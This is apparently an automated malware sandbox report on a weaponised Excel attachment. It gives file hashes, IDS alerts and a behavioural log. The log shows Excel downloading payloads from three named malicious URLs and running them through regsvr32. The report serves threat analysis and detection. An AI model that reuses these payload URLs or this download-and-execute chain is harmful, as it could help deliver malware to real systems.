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Guide 2020-06-10
Version history 2020-06-10

Summary | ZeroBOX

Compensation-1192584148.xls

MSOffice File

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Oct. 1, 2021, 9:52 a.m.	Oct. 1, 2021, 9:55 a.m.

Size	233.5KB
Type	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 18:19:34 2015, Last Saved Time/Date: Thu Sep 30 07:56:10 2021, Security: 0
MD5	`37a0ab0f9ab8422201dc00efef4a41c5`
SHA256	`22012ef347a8149872edb8cba796060eee42f8c23ef4d93f28e7ccef6851277d`
CRC32	`5F8EA27E`
ssdeep	`6144:9Kpb8rGYrMPe3q7Q0XV5xtuEsi8/dgg9HW3cZZRprq15Obr4vO8PDklovS3WHA7p:H9HVTrmkbr4vLDa3/Lvf/1eun`
Yara	Microsoft_Office_File_Zero - Microsoft Office File

EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office15\EXCEL.EXE" C:\Users\test22\AppData\Local\Temp\Compensation-1192584148.xls
1936
- regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
  2716
- regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
  2164
- regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
  2724

Name	Response	Post-Analysis Lookup
safalerp.com	A 119.18.54.27	119.18.54.27
callgirlsandescortkenya.site	A 50.87.151.118	50.87.151.118
godschildrenaf.org	A 50.87.151.118	50.87.151.118

IP Address	Status	Action
119.18.54.27	Active	Moloch
164.124.101.2	Active	Moloch
50.87.151.118	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49167 -> 119.18.54.27:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 119.18.54.27:443 -> 192.168.56.103:49170	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.168.56.103:49172 -> 50.87.151.118:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 50.87.151.118:443 -> 192.168.56.103:49175	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.168.56.103:49169 -> 119.18.54.27:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49173 -> 50.87.151.118:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49177 -> 50.87.151.118:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49178 -> 50.87.151.118:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 50.87.151.118:443 -> 192.168.56.103:49179	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Allocates read-write-execute memory (usually to unpack itself) (4 events)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Oct. 1, 2021, 9:52 a.m.	process_identifier: 1936 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6bf98000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 1, 2021, 9:53 a.m.	process_identifier: 1936 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6b2e2000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 1, 2021, 9:53 a.m.	process_identifier: 2716 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6c471000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 1, 2021, 9:53 a.m.	process_identifier: 2724 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6c471000 process_handle: 0xffffffff	1	0	0

Creates a suspicious process (6 events)

cmdline	regsvr32 C:\Datop\test.test
cmdline	"C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
cmdline	"C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
cmdline	"C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
cmdline	regsvr32 C:\Datop\test1.test
cmdline	regsvr32 C:\Datop\test2.test

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Oct. 1, 2021, 9:52 a.m.	process_identifier: 1936 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x7ef70000 process_handle: 0xffffffff	1	0	0

Network communications indicative of a potential document or script payload download was initiated by the process excel.exe (3 events)

Time & API	Arguments	Status	Return	Repeated
URLDownloadToFileW Oct. 1, 2021, 9:52 a.m.	url: https://safalerp.com/J1wlINw7HtJ/siera.xml stack_pivoted: 0 filepath_r: C:\Datop\test.test filepath: C:\Datop\test.test		2148270085	0
URLDownloadToFileW Oct. 1, 2021, 9:53 a.m.	url: https://godschildrenaf.org/qxwbRMzrqoWK/siera.xml stack_pivoted: 0 filepath_r: C:\Datop\test1.test filepath: C:\Datop\test1.test		2148270085	0
URLDownloadToFileW Oct. 1, 2021, 9:53 a.m.	url: https://callgirlsandescortkenya.site/hllzvTuU/siera.xml stack_pivoted: 0 filepath_r: C:\Datop\test2.test filepath: C:\Datop\test2.test		2148270085	0

One or more non-whitelisted processes were created (6 events)

parent_process	excel.exe				martian_process	regsvr32 C:\Datop\test.test
parent_process	excel.exe				martian_process	"C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
parent_process	excel.exe				martian_process	"C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
parent_process	excel.exe				martian_process	"C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
parent_process	excel.exe				martian_process	regsvr32 C:\Datop\test1.test
parent_process	excel.exe				martian_process	regsvr32 C:\Datop\test2.test

The process excel.exe wrote an executable file to disk which it then attempted to execute (1 event)

file	C:\Windows\System32\regsvr32.exe